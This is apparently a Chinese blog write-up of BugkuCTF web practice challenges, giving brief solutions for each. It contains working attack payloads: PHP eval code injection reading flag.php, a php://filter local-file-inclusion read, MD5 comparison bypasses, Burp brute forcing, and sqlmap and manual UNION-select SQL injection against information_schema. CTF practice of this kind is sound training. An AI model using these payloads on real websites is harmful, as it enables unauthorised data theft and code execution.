BugkuCTF练习记录(一)WEB篇

WEB2

BugkuCTF练习记录(一)WEB篇_第1张图片F12 控制台  找到flag

计算器

输入结果发现只能输入一位  F12找到 input属性 修改maxlength的值

WEB 基础$_GET

查看代码 URL中输入?what=flag 

BugkuCTF练习记录(一)WEB篇_第2张图片

WEB 基础$_POST

查看代码 用Firefox 的 hackbar 插件 post what=flag 

BugkuCTF练习记录(一)WEB篇_第3张图片

矛盾

函数 is_numeric() 检测变量是否为数字或数字字符串

用科学计数法构造数字1 

或者使用%00截断 ?num=1%00

BugkuCTF练习记录(一)WEB篇_第4张图片

WEB3

打开后发现一直弹窗 直接查看源码 在最后一行发现unicode码 解码获得flag

BugkuCTF练习记录(一)WEB篇_第5张图片

域名解析

题目要求把 flag.bugku.com 解析到 120.24.86.145 

打开C:\WINDOWS\system32\drivers\etc\hosts

添加 flag.bugku.com  120.24.86.145   用浏览器打开flag.bugku.com获得flag

BugkuCTF练习记录(一)WEB篇_第6张图片

WEB5

查看网页源码发现 js代码  粘贴进F12控制台运行 获得flag

BugkuCTF练习记录(一)WEB篇_第7张图片

你必须让它停下

进入网页发现页面一直在刷新 结合题目名字 用bp抓包 Sent to Repeater之后go几次就发现了flag

BugkuCTF练习记录(一)WEB篇_第8张图片

头等舱

打开网页发现什么也没有 网页的隐藏属性  用bp抓包 go一下 就发现了flag

BugkuCTF练习记录(一)WEB篇_第9张图片

本地包含

方法(一)

分析代码发现 文件存在本地

构造playload      /index.php?hello=1);print_r(file("flag.php")  就相当于eval( "1);print_r(file("./flag.php%22")")

方法(二)

直接给hello赋值 index.php?hello=file_get_contents(%27flag.php%27) 按F12  获得flag

BugkuCTF练习记录(一)WEB篇_第10张图片

变量1

通过分析代码想到 本地文件包含 eval()函数构造playload 但是 由于 过滤了符号 所以无法构造出来 

于是想到使用$GLOBALS超全局变量 用数组方式查看flag1.php

playload   ?args=GLOBALS

BugkuCTF练习记录(一)WEB篇_第11张图片

web-4

查看源码 发现var1和var2 是url编码   解码后根据代码公式拼接 输入后获得flag

BugkuCTF练习记录(一)WEB篇_第12张图片

flag在index里

点击链接发现url变成了http://120.24.86.145:8005/post/index.php?file=show.php

想到利用php://filter漏洞读出index源代码

构造payload   http://120.24.86.145:8005/post/index.php?file=php://filter/read/convert.base64-encode/resource=index.php

得到一段base64编码内容解码后获得flag

BugkuCTF练习记录(一)WEB篇_第13张图片

输入密码查看flag

 直接burpsuit暴力破解

备份是个好习惯

打开网页 发现一堆编码 试过所有解码方式均无效 先放一边 根据题目提示备份文件 *.bak *.swp是一般备份文件后缀名

试着找这两个文件  访问http://120.24.86.145:8002/web16/index.php.bak下载到备份文件

另外也可以用脚本扫描发现内部文件地址 https://git.coding.net/yihangwang/SourceLeakHacker.git 脚本源码

打开bak文件分析源码 ①str_replace函数 清空key字符 可以使用双写绕过 kekeyy

②熟悉的md5问题 方法1 利用数组绕过 kekeyy1[]=a& kekeyy2[]=b 方法二  kekeyy1=240610708&kekeyy2=QNKCDZO

BugkuCTF练习记录(一)WEB篇_第14张图片

学成成绩查询

 方法① sqlmap大法  :首先随便输入个数Submit 抓包 然后copy to file 以文本格式存在本地 

开始跑 sqlmap : python sqlmap.py -r"D:\123txt" -p id --current-db

tips :-p 指定参数 -r 加载一个文件 --current-db 获取当前数据库

然后按顺序依次爆破 数据库—>表名—>列名—>字段内容  顺利获得flag

BugkuCTF练习记录(一)WEB篇_第15张图片

方法② 手工注入 

随便输入一个数 发现有三个显示位 构造playload:?id=1' union select 1,2,3,4#

然后爆出数据库名 ?id=1' union select 1,2,3,database()#    数据库名  skctf_flag

?id=1' union select 1,2,3,group_concat(table_name) from information_schema.tables where table_schema='skctf_flag'#

得到表名字  fl4g  然后查fl4g表的列名:

?id=1' union select 1,2,3,group_concat(column_name) from information_schema.columns where table_schema='skctf_flag' and table_name ='fl4g'#

得到列名字是skctf_flag与数据库名字重复了 最后查询skctf_flag列中字段内容

?id=1' union select 1,2,3,group_concat(skctf_flag) from skctf_flag.fl4g#   得到flag

BugkuCTF练习记录(一)WEB篇_第16张图片

 

 

你可能感兴趣的:(BugkuCTF练习记录(一)WEB篇)